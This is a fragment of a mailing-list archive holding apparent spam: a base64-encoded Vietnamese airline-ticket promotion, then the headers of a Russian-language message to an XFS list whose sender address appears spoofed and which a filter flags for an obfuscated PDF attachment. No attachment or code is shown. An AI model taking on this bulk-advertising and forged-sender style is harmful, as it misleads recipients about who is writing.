IDBweDsgT1VUTElORS1TVFlMRTogbm9uZTsgT1VUTElORS1DT0xPUjogaW52ZXJ0OyBQQURE SU5HLUxFRlQ6IDBweDsgT1VUTElORS1XSURUSDogMHB4OyBQQURESU5HLVJJR0hUOiAwcHg7 IEZPTlQtRkFNSUxZOiBBcmlhbDsgRk9OVC1TSVpFOiAxNHB4OyBWRVJUSUNBTC1BTElHTjog YmFzZWxpbmU7IEJPUkRFUi1UT1A6IDBweDsgQk9SREVSLVJJR0hUOiAwcHg7IFBBRERJTkct VE9QOiAwcHgiPlh14bqldCANCnbDqTogdOG7qyAxNC8yIMSR4bq/biAyOC8yLzIwMTQuPC9T UEFOPjwvUD4NCjxQIA0Kc3R5bGU9IkJPUkRFUi1CT1RUT006IDBweDsgVEVYVC1BTElHTjog anVzdGlmeTsgQk9SREVSLUxFRlQ6IDBweDsgUEFERElORy1CT1RUT006IDBweDsgVEVYVC1U UkFOU0ZPUk06IG5vbmU7IEJBQ0tHUk9VTkQtQ09MT1I6IHJnYigyNTUsMjU1LDI1NSk7IFRF WFQtSU5ERU5UOiAwcHg7IE1BUkdJTjogMHB4IDBweCAxMHB4OyBPVVRMSU5FLVNUWUxFOiBu b25lOyBPVVRMSU5FLUNPTE9SOiBpbnZlcnQ7IFBBRERJTkctTEVGVDogMHB4OyBPVVRMSU5F LVdJRFRIOiAwcHg7IFBBRERJTkctUklHSFQ6IDBweDsgRk9OVDogMTRweC8yNXB4IHRhaG9t YTsgV0hJVEUtU1BBQ0U6IG5vcm1hbDsgTEVUVEVSLVNQQUNJTkc6IG5vcm1hbDsgQ09MT1I6 IHJnYig1MSw1MSw1MSk7IFZFUlRJQ0FMLUFMSUdOOiBiYXNlbGluZTsgQk9SREVSLVRPUDog MHB4OyBCT1JERVItUklHSFQ6IDBweDsgV09SRC1TUEFDSU5HOiAwcHg7IFBBRERJTkctVE9Q OiAwcHg7IC13ZWJraXQtdGV4dC1zdHJva2Utd2lkdGg6IDBweCI+LSZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzxTUEFOIA0Kc3R5bGU9IkJPUkRFUi1CT1RU T006IDBweDsgQk9SREVSLUxFRlQ6IDBweDsgUEFERElORy1CT1RUT006IDBweDsgTUFSR0lO OiAwcHg7IE9VVExJTkUtU1RZTEU6IG5vbmU7IE9VVExJTkUtQ09MT1I6IGludmVydDsgUEFE RElORy1MRUZUOiAwcHg7IE9VVExJTkUtV0lEVEg6IDBweDsgUEFERElORy1SSUdIVDogMHB4 OyBGT05ULUZBTUlMWTogQXJpYWw7IEZPTlQtU0laRTogMTRweDsgVkVSVElDQUwtQUxJR046 IGJhc2VsaW5lOyBCT1JERVItVE9QOiAwcHg7IEJPUkRFUi1SSUdIVDogMHB4OyBQQURESU5H LVRPUDogMHB4Ij5LaOG7n2kgDQpow6BuaDogdOG7qyAxNi8yIMSR4bq/biAxNi80LzIwMTQu PC9TUEFOPjwvUD4NCjxQIA0Kc3R5bGU9IkJPUkRFUi1CT1RUT006IDBweDsgVEVYVC1BTElH TjoganVzdGlmeTsgQk9SREVSLUxFRlQ6IDBweDsgUEFERElORy1CT1RUT006IDBweDsgVEVY VC1UUkFOU0ZPUk06IG5vbmU7IEJBQ0tHUk9VTkQtQ09MT1I6IHJnYigyNTUsMjU1LDI1NSk7 IFRFWFQtSU5ERU5UOiAwcHg7IE1BUkdJTjogMHB4IDBweCAxMHB4OyBPVVRMSU5FLVNUWUxF OiBub25lOyBPVVRMSU5FLUNPTE9SOiBpbnZlcnQ7IFBBRERJTkctTEVGVDogMHB4OyBPVVRM SU5FLVdJRFRIOiAwcHg7IFBBRERJTkctUklHSFQ6IDBweDsgRk9OVDogMTRweC8yNXB4IHRh aG9tYTsgV0hJVEUtU1BBQ0U6IG5vcm1hbDsgTEVUVEVSLVNQQUNJTkc6IG5vcm1hbDsgQ09M T1I6IHJnYig1MSw1MSw1MSk7IFZFUlRJQ0FMLUFMSUdOOiBiYXNlbGluZTsgQk9SREVSLVRP UDogMHB4OyBCT1JERVItUklHSFQ6IDBweDsgV09SRC1TUEFDSU5HOiAwcHg7IFBBRERJTkct VE9QOiAwcHg7IC13ZWJraXQtdGV4dC1zdHJva2Utd2lkdGg6IDBweCI+PEI+PFNQQU4gDQpz dHlsZT0iQk9SREVSLUJPVFRPTTogMHB4OyBCT1JERVItTEVGVDogMHB4OyBQQURESU5HLUJP VFRPTTogMHB4OyBNQVJHSU46IDBweDsgT1VUTElORS1TVFlMRTogbm9uZTsgT1VUTElORS1D T0xPUjogaW52ZXJ0OyBQQURESU5HLUxFRlQ6IDBweDsgT1VUTElORS1XSURUSDogMHB4OyBQ QURESU5HLVJJR0hUOiAwcHg7IEZPTlQtRkFNSUxZOiBBcmlhbDsgRk9OVC1TSVpFOiAxNHB4 OyBWRVJUSUNBTC1BTElHTjogYmFzZWxpbmU7IEJPUkRFUi1UT1A6IDBweDsgQk9SREVSLVJJ R0hUOiAwcHg7IFBBRERJTkctVE9QOiAwcHgiPjMuIA0KxJBp4buBdSBraeG7h246PC9TUEFO PjwvQj48L1A+DQo8UCANCnN0eWxlPSJCT1JERVItQk9UVE9NOiAwcHg7IFRFWFQtQUxJR046 IGp1c3RpZnk7IEJPUkRFUi1MRUZUOiAwcHg7IFBBRERJTkctQk9UVE9NOiAwcHg7IFRFWFQt VFJBTlNGT1JNOiBub25lOyBCQUNLR1JPVU5ELUNPTE9SOiByZ2IoMjU1LDI1NSwyNTUpOyBU RVhULUlOREVOVDogMHB4OyBNQVJHSU46IDBweCAwcHggMTBweDsgT1VUTElORS1TVFlMRTog bm9uZTsgT1VUTElORS1DT0xPUjogaW52ZXJ0OyBQQURESU5HLUxFRlQ6IDBweDsgT1VUTElO RS1XSURUSDogMHB4OyBQQURESU5HLVJJR0hUOiAwcHg7IEZPTlQ6IDE0cHgvMjVweCB0YWhv bWE7IFdISVRFLVNQQUNFOiBub3JtYWw7IExFVFRFUi1TUEFDSU5HOiBub3JtYWw7IENPTE9S OiByZ2IoNTEsNTEsNTEpOyBWRVJUSUNBTC1BTElHTjogYmFzZWxpbmU7IEJPUkRFUi1UT1A6 IDBweDsgQk9SREVSLVJJR0hUOiAwcHg7IFdPUkQtU1BBQ0lORzogMHB4OyBQQURESU5HLVRP UDogMHB4OyAtd2Via2l0LXRleHQtc3Ryb2tlLXdpZHRoOiAwcHgiPi0mbmJzcDsmbmJzcDsm bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs8U1BBTiANCnN0eWxlPSJCT1JERVItQk9U VE9NOiAwcHg7IEJPUkRFUi1MRUZUOiAwcHg7IFBBRERJTkctQk9UVE9NOiAwcHg7IE1BUkdJ TjogMHB4OyBPVVRMSU5FLVNUWUxFOiBub25lOyBPVVRMSU5FLUNPTE9SOiBpbnZlcnQ7IFBB RERJTkctTEVGVDogMHB4OyBPVVRMSU5FLVdJRFRIOiAwcHg7IFBBRERJTkctUklHSFQ6IDBw eDsgRk9OVC1GQU1JTFk6IEFyaWFsOyBGT05ULVNJWkU6IDE0cHg7IFZFUlRJQ0FMLUFMSUdO OiBiYXNlbGluZTsgQk9SREVSLVRPUDogMHB4OyBCT1JERVItUklHSFQ6IDBweDsgUEFERElO Ry1UT1A6IDBweCI+WHXhuqV0IA0KdsOpIHRyb25nIHbDsm5nIDEyIGdp4budIGvhu4MgdOG7 qyBraGkgY2jhu5cgxJHGsOG7o2MgeMOhYyBuaOG6rW4uPC9TUEFOPjwvUD4NCjxQIA0Kc3R5 bGU9IkJPUkRFUi1CT1RUT006IDBweDsgVEVYVC1BTElHTjoganVzdGlmeTsgQk9SREVSLUxF RlQ6IDBweDsgUEFERElORy1CT1RUT006IDBweDsgVEVYVC1UUkFOU0ZPUk06IG5vbmU7IEJB Q0tHUk9VTkQtQ09MT1I6IHJnYigyNTUsMjU1LDI1NSk7IFRFWFQtSU5ERU5UOiAwcHg7IE1B UkdJTjogMHB4IDBweCAxMHB4OyBPVVRMSU5FLVNUWUxFOiBub25lOyBPVVRMSU5FLUNPTE9S OiBpbnZlcnQ7IFBBRERJTkctTEVGVDogMHB4OyBPVVRMSU5FLVdJRFRIOiAwcHg7IFBBRERJ TkctUklHSFQ6IDBweDsgRk9OVDogMTRweC8yNXB4IHRhaG9tYTsgV0hJVEUtU1BBQ0U6IG5v cm1hbDsgTEVUVEVSLVNQQUNJTkc6IG5vcm1hbDsgQ09MT1I6IHJnYig1MSw1MSw1MSk7IFZF UlRJQ0FMLUFMSUdOOiBiYXNlbGluZTsgQk9SREVSLVRPUDogMHB4OyBCT1JERVItUklHSFQ6 IDBweDsgV09SRC1TUEFDSU5HOiAwcHg7IFBBRERJTkctVE9QOiAwcHg7IC13ZWJraXQtdGV4 dC1zdHJva2Utd2lkdGg6IDBweCI+LSZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOzxTUEFOIA0Kc3R5bGU9IkJPUkRFUi1CT1RUT006IDBweDsgQk9SREVSLUxF RlQ6IDBweDsgUEFERElORy1CT1RUT006IDBweDsgTUFSR0lOOiAwcHg7IE9VVExJTkUtU1RZ TEU6IG5vbmU7IE9VVExJTkUtQ09MT1I6IGludmVydDsgUEFERElORy1MRUZUOiAwcHg7IE9V VExJTkUtV0lEVEg6IDBweDsgUEFERElORy1SSUdIVDogMHB4OyBGT05ULUZBTUlMWTogQXJp YWw7IEZPTlQtU0laRTogMTRweDsgVkVSVElDQUwtQUxJR046IGJhc2VsaW5lOyBCT1JERVIt VE9QOiAwcHg7IEJPUkRFUi1SSUdIVDogMHB4OyBQQURESU5HLVRPUDogMHB4Ij5Ww6kgDQpr aMO0bmcgxJHGsOG7o2MgcGjDqXAgaG/DoG4vaOG7p3kuPC9TUEFOPjwvUD4NCjxQIA0Kc3R5 bGU9IkJPUkRFUi1CT1RUT006IDBweDsgVEVYVC1BTElHTjoganVzdGlmeTsgQk9SREVSLUxF RlQ6IDBweDsgUEFERElORy1CT1RUT006IDBweDsgVEVYVC1UUkFOU0ZPUk06IG5vbmU7IEJB Q0tHUk9VTkQtQ09MT1I6IHJnYigyNTUsMjU1LDI1NSk7IFRFWFQtSU5ERU5UOiAwcHg7IE1B UkdJTjogMHB4IDBweCAxMHB4OyBPVVRMSU5FLVNUWUxFOiBub25lOyBPVVRMSU5FLUNPTE9S OiBpbnZlcnQ7IFBBRERJTkctTEVGVDogMHB4OyBPVVRMSU5FLVdJRFRIOiAwcHg7IFBBRERJ TkctUklHSFQ6IDBweDsgRk9OVDogMTRweC8yNXB4IHRhaG9tYTsgV0hJVEUtU1BBQ0U6IG5v cm1hbDsgTEVUVEVSLVNQQUNJTkc6IG5vcm1hbDsgQ09MT1I6IHJnYig1MSw1MSw1MSk7IFZF UlRJQ0FMLUFMSUdOOiBiYXNlbGluZTsgQk9SREVSLVRPUDogMHB4OyBCT1JERVItUklHSFQ6 IDBweDsgV09SRC1TUEFDSU5HOiAwcHg7IFBBRERJTkctVE9QOiAwcHg7IC13ZWJraXQtdGV4 dC1zdHJva2Utd2lkdGg6IDBweCI+LSZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOzxTUEFOIA0Kc3R5bGU9IkJPUkRFUi1CT1RUT006IDBweDsgQk9SREVSLUxF RlQ6IDBweDsgUEFERElORy1CT1RUT006IDBweDsgTUFSR0lOOiAwcHg7IE9VVExJTkUtU1RZ TEU6IG5vbmU7IE9VVExJTkUtQ09MT1I6IGludmVydDsgUEFERElORy1MRUZUOiAwcHg7IE9V VExJTkUtV0lEVEg6IDBweDsgUEFERElORy1SSUdIVDogMHB4OyBGT05ULUZBTUlMWTogQXJp YWw7IEZPTlQtU0laRTogMTRweDsgVkVSVElDQUwtQUxJR046IGJhc2VsaW5lOyBCT1JERVIt VE9QOiAwcHg7IEJPUkRFUi1SSUdIVDogMHB4OyBQQURESU5HLVRPUDogMHB4Ij5UaGF5IA0K xJHhu5VpIMSR4bq3dCBjaOG7lzo8L1NQQU4+PC9QPg0KPFAgDQpzdHlsZT0iQk9SREVSLUJP VFRPTTogMHB4OyBURVhULUFMSUdOOiBqdXN0aWZ5OyBCT1JERVItTEVGVDogMHB4OyBQQURE SU5HLUJPVFRPTTogMHB4OyBURVhULVRSQU5TRk9STTogbm9uZTsgQkFDS0dST1VORC1DT0xP UjogcmdiKDI1NSwyNTUsMjU1KTsgVEVYVC1JTkRFTlQ6IDBweDsgTUFSR0lOOiAwcHggMHB4 IDEwcHg7IE9VVExJTkUtU1RZTEU6IG5vbmU7IE9VVExJTkUtQ09MT1I6IGludmVydDsgUEFE RElORy1MRUZUOiAwcHg7IE9VVExJTkUtV0lEVEg6IDBweDsgUEFERElORy1SSUdIVDogMHB4 OyBGT05UOiAxNHB4LzI1cHggdGFob21hOyBXSElURS1TUEFDRTogbm9ybWFsOyBMRVRURVIt U1BBQ0lORzogbm9ybWFsOyBDT0xPUjogcmdiKDUxLDUxLDUxKTsgVkVSVElDQUwtQUxJR046 IGJhc2VsaW5lOyBCT1JERVItVE9QOiAwcHg7IEJPUkRFUi1SSUdIVDogMHB4OyBXT1JELVNQ QUNJTkc6IDBweDsgUEFERElORy1UT1A6IDBweDsgLXdlYmtpdC10ZXh0LXN0cm9rZS13aWR0 aDogMHB4Ij4rJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PFNQ QU4gDQpzdHlsZT0iQk9SREVSLUJPVFRPTTogMHB4OyBCT1JERVItTEVGVDogMHB4OyBQQURE SU5HLUJPVFRPTTogMHB4OyBNQVJHSU46IDBweDsgT1VUTElORS1TVFlMRTogbm9uZTsgT1VU TElORS1DT0xPUjogaW52ZXJ0OyBQQURESU5HLUxFRlQ6IDBweDsgT1VUTElORS1XSURUSDog MHB4OyBQQURESU5HLVJJR0hUOiAwcHg7IEZPTlQtRkFNSUxZOiBBcmlhbDsgRk9OVC1TSVpF OiAxNHB4OyBWRVJUSUNBTC1BTElHTjogYmFzZWxpbmU7IEJPUkRFUi1UT1A6IDBweDsgQk9S REVSLVJJR0hUOiAwcHg7IFBBRERJTkctVE9QOiAwcHgiPlRyxrDhu5tjIA0KbmfDoHkgZ2hp IGNo4bq3bmcgYmF5IHRyw6puIHbDqSDEkcaw4bujYyBwaMOpcCDDoXAgZOG7pW5nIHBow60g NjAwLjAwMFZOxJAvbOG6p24uPC9TUEFOPjwvUD4NCjxQIA0Kc3R5bGU9IkJPUkRFUi1CT1RU T006IDBweDsgVEVYVC1BTElHTjoganVzdGlmeTsgQk9SREVSLUxFRlQ6IDBweDsgUEFERElO Ry1CT1RUT006IDBweDsgVEVYVC1UUkFOU0ZPUk06IG5vbmU7IEJBQ0tHUk9VTkQtQ09MT1I6 IHJnYigyNTUsMjU1LDI1NSk7IFRFWFQtSU5ERU5UOiAwcHg7IE1BUkdJTjogMHB4IDBweCAx MHB4OyBPVVRMSU5FLVNUWUxFOiBub25lOyBPVVRMSU5FLUNPTE9SOiBpbnZlcnQ7IFBBRERJ TkctTEVGVDogMHB4OyBPVVRMSU5FLVdJRFRIOiAwcHg7IFBBRERJTkctUklHSFQ6IDBweDsg Rk9OVDogMTRweC8yNXB4IHRhaG9tYTsgV0hJVEUtU1BBQ0U6IG5vcm1hbDsgTEVUVEVSLVNQ QUNJTkc6IG5vcm1hbDsgQ09MT1I6IHJnYig1MSw1MSw1MSk7IFZFUlRJQ0FMLUFMSUdOOiBi YXNlbGluZTsgQk9SREVSLVRPUDogMHB4OyBCT1JERVItUklHSFQ6IDBweDsgV09SRC1TUEFD SU5HOiAwcHg7IFBBRERJTkctVE9QOiAwcHg7IC13ZWJraXQtdGV4dC1zdHJva2Utd2lkdGg6 IDBweCI+KyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzxTUEFO IA0Kc3R5bGU9IkJPUkRFUi1CT1RUT006IDBweDsgQk9SREVSLUxFRlQ6IDBweDsgUEFERElO Ry1CT1RUT006IDBweDsgTUFSR0lOOiAwcHg7IE9VVExJTkUtU1RZTEU6IG5vbmU7IE9VVExJ TkUtQ09MT1I6IGludmVydDsgUEFERElORy1MRUZUOiAwcHg7IE9VVExJTkUtV0lEVEg6IDBw eDsgUEFERElORy1SSUdIVDogMHB4OyBGT05ULUZBTUlMWTogQXJpYWw7IEZPTlQtU0laRTog MTRweDsgVkVSVElDQUwtQUxJR046IGJhc2VsaW5lOyBCT1JERVItVE9QOiAwcHg7IEJPUkRF Ui1SSUdIVDogMHB4OyBQQURESU5HLVRPUDogMHB4Ij5Ww6BvL3NhdSANCm5nw6B5IGdoaSBj aOG6t25nIGJheSB0csOqbiB2w6k6IGtow7RuZyDEkcaw4bujYyBwaMOpcC48L1NQQU4+PC9Q Pg0KPFAgDQpzdHlsZT0iQk9SREVSLUJPVFRPTTogMHB4OyBURVhULUFMSUdOOiBqdXN0aWZ5 OyBCT1JERVItTEVGVDogMHB4OyBQQURESU5HLUJPVFRPTTogMHB4OyBURVhULVRSQU5TRk9S TTogbm9uZTsgQkFDS0dST1VORC1DT0xPUjogcmdiKDI1NSwyNTUsMjU1KTsgVEVYVC1JTkRF TlQ6IDBweDsgTUFSR0lOOiAwcHggMHB4IDEwcHg7IE9VVExJTkUtU1RZTEU6IG5vbmU7IE9V VExJTkUtQ09MT1I6IGludmVydDsgUEFERElORy1MRUZUOiAwcHg7IE9VVExJTkUtV0lEVEg6 IDBweDsgUEFERElORy1SSUdIVDogMHB4OyBGT05UOiAxNHB4LzI1cHggdGFob21hOyBXSElU RS1TUEFDRTogbm9ybWFsOyBMRVRURVItU1BBQ0lORzogbm9ybWFsOyBDT0xPUjogcmdiKDUx LDUxLDUxKTsgVkVSVElDQUwtQUxJR046IGJhc2VsaW5lOyBCT1JERVItVE9QOiAwcHg7IEJP UkRFUi1SSUdIVDogMHB4OyBXT1JELVNQQUNJTkc6IDBweDsgUEFERElORy1UT1A6IDBweDsg LXdlYmtpdC10ZXh0LXN0cm9rZS13aWR0aDogMHB4Ij4rJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5i c3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PFNQQU4gDQpzdHlsZT0iQk9SREVSLUJPVFRPTTogMHB4 OyBCT1JERVItTEVGVDogMHB4OyBQQURESU5HLUJPVFRPTTogMHB4OyBNQVJHSU46IDBweDsg T1VUTElORS1TVFlMRTogbm9uZTsgT1VUTElORS1DT0xPUjogaW52ZXJ0OyBQQURESU5HLUxF RlQ6IDBweDsgT1VUTElORS1XSURUSDogMHB4OyBQQURESU5HLVJJR0hUOiAwcHg7IEZPTlQt RkFNSUxZOiBBcmlhbDsgRk9OVC1TSVpFOiAxNHB4OyBWRVJUSUNBTC1BTElHTjogYmFzZWxp bmU7IEJPUkRFUi1UT1A6IDBweDsgQk9SREVSLVJJR0hUOiAwcHg7IFBBRERJTkctVE9QOiAw cHgiPkzGsHUmbmJzcDvDvTogDQpt4buNaSB0aGF5Jm5ic3A7xJHhu5VpJm5ic3A7xJHhurd0 IGNo4buXJm5ic3A7dsOgJm5ic3A7bmfDoHkgYmF5IG3hu5tpIHBo4bqjaSB0csaw4bubYyAN Cm5nw6B5Jm5ic3A7PEI+MTYvMDQvMjAxNDwvQj4uPC9TUEFOPjwvUD4NCjxQIA0Kc3R5bGU9 IkJPUkRFUi1CT1RUT006IDBweDsgVEVYVC1BTElHTjoganVzdGlmeTsgQk9SREVSLUxFRlQ6 IDBweDsgUEFERElORy1CT1RUT006IDBweDsgVEVYVC1UUkFOU0ZPUk06IG5vbmU7IEJBQ0tH Uk9VTkQtQ09MT1I6IHJnYigyNTUsMjU1LDI1NSk7IFRFWFQtSU5ERU5UOiAwcHg7IE1BUkdJ TjogMHB4IDBweCAxMHB4OyBPVVRMSU5FLVNUWUxFOiBub25lOyBPVVRMSU5FLUNPTE9SOiBp bnZlcnQ7IFBBRERJTkctTEVGVDogMHB4OyBPVVRMSU5FLVdJRFRIOiAwcHg7IFBBRERJTkct UklHSFQ6IDBweDsgRk9OVDogMTRweC8yNXB4IHRhaG9tYTsgV0hJVEUtU1BBQ0U6IG5vcm1h bDsgTEVUVEVSLVNQQUNJTkc6IG5vcm1hbDsgQ09MT1I6IHJnYig1MSw1MSw1MSk7IFZFUlRJ Q0FMLUFMSUdOOiBiYXNlbGluZTsgQk9SREVSLVRPUDogMHB4OyBCT1JERVItUklHSFQ6IDBw eDsgV09SRC1TUEFDSU5HOiAwcHg7IFBBRERJTkctVE9QOiAwcHg7IC13ZWJraXQtdGV4dC1z dHJva2Utd2lkdGg6IDBweCI+LSZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNw OyZuYnNwOzxTUEFOIA0Kc3R5bGU9IkJPUkRFUi1CT1RUT006IDBweDsgQk9SREVSLUxFRlQ6 IDBweDsgUEFERElORy1CT1RUT006IDBweDsgTUFSR0lOOiAwcHg7IE9VVExJTkUtU1RZTEU6 IG5vbmU7IE9VVExJTkUtQ09MT1I6IGludmVydDsgUEFERElORy1MRUZUOiAwcHg7IE9VVExJ TkUtV0lEVEg6IDBweDsgUEFERElORy1SSUdIVDogMHB4OyBGT05ULUZBTUlMWTogQXJpYWw7 IEZPTlQtU0laRTogMTRweDsgVkVSVElDQUwtQUxJR046IGJhc2VsaW5lOyBCT1JERVItVE9Q OiAwcHg7IEJPUkRFUi1SSUdIVDogMHB4OyBQQURESU5HLVRPUDogMHB4Ij5I4buZaSANCnZp w6puIEdMUCZuYnNwO2tow7RuZyDEkcaw4bujYyBj4buZbmcgZOG6t20ga2hpJm5ic3A7xJHh urd0IGNo4buXIHh14bqldCB2w6kmbmJzcDt0aGVvJm5ic3A7Y2jGsMahbmcgDQp0csOsbmgg bsOgeS48L1NQQU4+PC9QPg0KPFAgDQpzdHlsZT0iQk9SREVSLUJPVFRPTTogMHB4OyBURVhU LUFMSUdOOiBqdXN0aWZ5OyBCT1JERVItTEVGVDogMHB4OyBQQURESU5HLUJPVFRPTTogMHB4 OyBURVhULVRSQU5TRk9STTogbm9uZTsgQkFDS0dST1VORC1DT0xPUjogcmdiKDI1NSwyNTUs MjU1KTsgVEVYVC1JTkRFTlQ6IDBweDsgTUFSR0lOOiAwcHggMHB4IDEwcHg7IE9VVExJTkUt U1RZTEU6IG5vbmU7IE9VVExJTkUtQ09MT1I6IGludmVydDsgUEFERElORy1MRUZUOiAwcHg7 IE9VVExJTkUtV0lEVEg6IDBweDsgUEFERElORy1SSUdIVDogMHB4OyBGT05UOiAxNHB4LzI1 cHggdGFob21hOyBXSElURS1TUEFDRTogbm9ybWFsOyBMRVRURVItU1BBQ0lORzogbm9ybWFs OyBDT0xPUjogcmdiKDUxLDUxLDUxKTsgVkVSVElDQUwtQUxJR046IGJhc2VsaW5lOyBCT1JE RVItVE9QOiAwcHg7IEJPUkRFUi1SSUdIVDogMHB4OyBXT1JELVNQQUNJTkc6IDBweDsgUEFE RElORy1UT1A6IDBweDsgLXdlYmtpdC10ZXh0LXN0cm9rZS13aWR0aDogMHB4Ij5HacOhIA0K dHLDqm4gY2jGsGEgYmFvIGfhu5NtIHRodeG6vyB2w6AgUGjDrS48L1A+DQo8UCANCnN0eWxl PSJCT1JERVItQk9UVE9NOiAwcHg7IFRFWFQtQUxJR046IGp1c3RpZnk7IEJPUkRFUi1MRUZU OiAwcHg7IFBBRERJTkctQk9UVE9NOiAwcHg7IFRFWFQtVFJBTlNGT1JNOiBub25lOyBCQUNL R1JPVU5ELUNPTE9SOiByZ2IoMjU1LDI1NSwyNTUpOyBURVhULUlOREVOVDogMHB4OyBNQVJH SU46IDBweCAwcHggMTBweDsgT1VUTElORS1TVFlMRTogbm9uZTsgT1VUTElORS1DT0xPUjog aW52ZXJ0OyBQQURESU5HLUxFRlQ6IDBweDsgT1VUTElORS1XSURUSDogMHB4OyBQQURESU5H LVJJR0hUOiAwcHg7IEZPTlQ6IDE0cHgvMjVweCB0YWhvbWE7IFdISVRFLVNQQUNFOiBub3Jt YWw7IExFVFRFUi1TUEFDSU5HOiBub3JtYWw7IENPTE9SOiByZ2IoNTEsNTEsNTEpOyBWRVJU SUNBTC1BTElHTjogYmFzZWxpbmU7IEJPUkRFUi1UT1A6IDBweDsgQk9SREVSLVJJR0hUOiAw cHg7IFdPUkQtU1BBQ0lORzogMHB4OyBQQURESU5HLVRPUDogMHB4OyAtd2Via2l0LXRleHQt c3Ryb2tlLXdpZHRoOiAwcHgiPkxpw6puIA0KaOG7hyBuZ2F5PFNQQU4gY2xhc3M9QXBwbGUt Y29udmVydGVkLXNwYWNlPiZuYnNwOzwvU1BBTj48U1RST05HIA0Kc3R5bGU9IkJPUkRFUi1C T1RUT006IDBweDsgQk9SREVSLUxFRlQ6IDBweDsgUEFERElORy1CT1RUT006IDBweDsgTUFS R0lOOiAwcHg7IE9VVExJTkUtU1RZTEU6IG5vbmU7IE9VVExJTkUtQ09MT1I6IGludmVydDsg UEFERElORy1MRUZUOiAwcHg7IE9VVExJTkUtV0lEVEg6IDBweDsgUEFERElORy1SSUdIVDog MHB4OyBGT05ULUZBTUlMWTogaW5oZXJpdDsgRk9OVC1TSVpFOiAxNHB4OyBWRVJUSUNBTC1B TElHTjogYmFzZWxpbmU7IEJPUkRFUi1UT1A6IDBweDsgRk9OVC1XRUlHSFQ6IGJvbGQ7IEJP UkRFUi1SSUdIVDogMHB4OyBQQURESU5HLVRPUDogMHB4Ij4wODMgDQo5OTEgODQyMCBob+G6 t2MgMDkyNSAzMjAgMzIwPC9TVFJPTkc+PFNQQU4gDQpjbGFzcz1BcHBsZS1jb252ZXJ0ZWQt c3BhY2U+Jm5ic3A7PC9TUEFOPsSR4buDIMSR4bq3dCBuaOG7r25nIHThuqVtPFNQQU4gDQpj bGFzcz1BcHBsZS1jb252ZXJ0ZWQtc3BhY2U+Jm5ic3A7PC9TUEFOPnbDqSBtw6F5IGJheTxT UEFOIA0KY2xhc3M9QXBwbGUtY29udmVydGVkLXNwYWNlPiZuYnNwOzwvU1BBTj5raHV54bq/ biBtw6NpIGPhu7FjIGvhu7MgaOG6pXAgZOG6q24gbsOgeSANCm5ow6khPC9QPjwvQk9EWT48 L0hUTUw+DQo= From sasha.savenko.89@motherjones.com Mon Feb 10 23:29:31 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,T_OBFU_PDF_ATTACH autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 18C707F3F for ; Mon, 10 Feb 2014 23:29:31 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 46718AC009 for ; Mon, 10 Feb 2014 21:29:27 -0800 (PST) X-ASG-Debug-ID: 1392096557-04cb6c6de126da60001-NocioJ Received: from 5315.ovz46.hc.ru (5315.ovz46.hc.ru [79.174.79.60]) by cuda.sgi.com with ESMTP id KqE2Byhvqg3i2ziX (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 10 Feb 2014 21:29:19 -0800 (PST) X-Barracuda-Envelope-From: sasha.savenko.89@motherjones.com X-Barracuda-Apparent-Source-IP: 79.174.79.60 Received: from 28.128-73-188.telenet.ru ([188.73.128.28] helo=Unknown) by 5315.ovz46.hc.ru with esmtpa (Exim 4.67) (envelope-from ) id 1WD5tz-0007DK-Tx; Tue, 11 Feb 2014 09:29:17 +0400 Message-ID: <190518DD658A41AF9466E080421D6FA4@klhaduu> Reply-To: =?windows-1251?B?ys7N0tDOy9wgz9DO183O0dLIIMHF0s7NwA==?= From: =?windows-1251?B?ys7N0tDOy9wgz9DO183O0dLIIMHF0s7NwA==?= To: , , , Subject: =?windows-1251?B?w87R0iA3NDczLTIwMTAg0ezl8egg4eXy7u3t?= =?windows-1251?B?++UuINLl9e3o9+Xx6ujlIPPx6+7i6P8=?= Date: Tue, 11 Feb 2014 06:28:30 +0100 X-ASG-Orig-Subj: =?windows-1251?B?w87R0iA3NDczLTIwMTAg0ezl8egg4eXy7u3t?= =?windows-1251?B?++UuINLl9e3o9+Xx6ujlIPPx6+7i6P8=?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_1707_01CF26F2.7B313FC0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Windows Mail 6.0.6001.18416 X-MimeOLE: Produced By Microsoft MimeOLE V6.0.6001.18645 X-Barracuda-Connect: 5315.ovz46.hc.ru[79.174.79.60] X-Barracuda-Start-Time: 1392096558 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_TG035a, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145017 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 BSF_SC0_TG035a Message contains invalid style definition This is a multi-part message in MIME format. ------=_NextPart_000_1707_01CF26F2.7B313FC0 Content-Type: multipart/alternative; 